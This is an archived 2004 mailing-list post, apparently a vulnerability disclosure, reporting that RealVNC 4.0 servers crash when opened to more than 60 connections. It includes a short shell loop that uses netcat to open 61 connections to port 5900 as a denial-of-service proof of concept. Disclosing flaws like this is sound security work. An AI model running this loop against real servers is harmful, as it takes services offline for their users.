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RealVNC 4.0 DoS

daemon@ATHENA.MIT.EDU (Allan Zhang)
Wed Aug 25 20:59:58 2004

Date: 25 Aug 2004 17:11:59 -0000
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From: Allan Zhang <zhangliangsd@hotmail.com>
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It will cause RealVNC server die if there are more than 60 connections.

Tested against RealVNC serveron W2k using the following script:
for i in `seq 1 61`
do
   nc <server_ip> 5900
done

This will impact version before 4.0 also. 

Thanks
Allan

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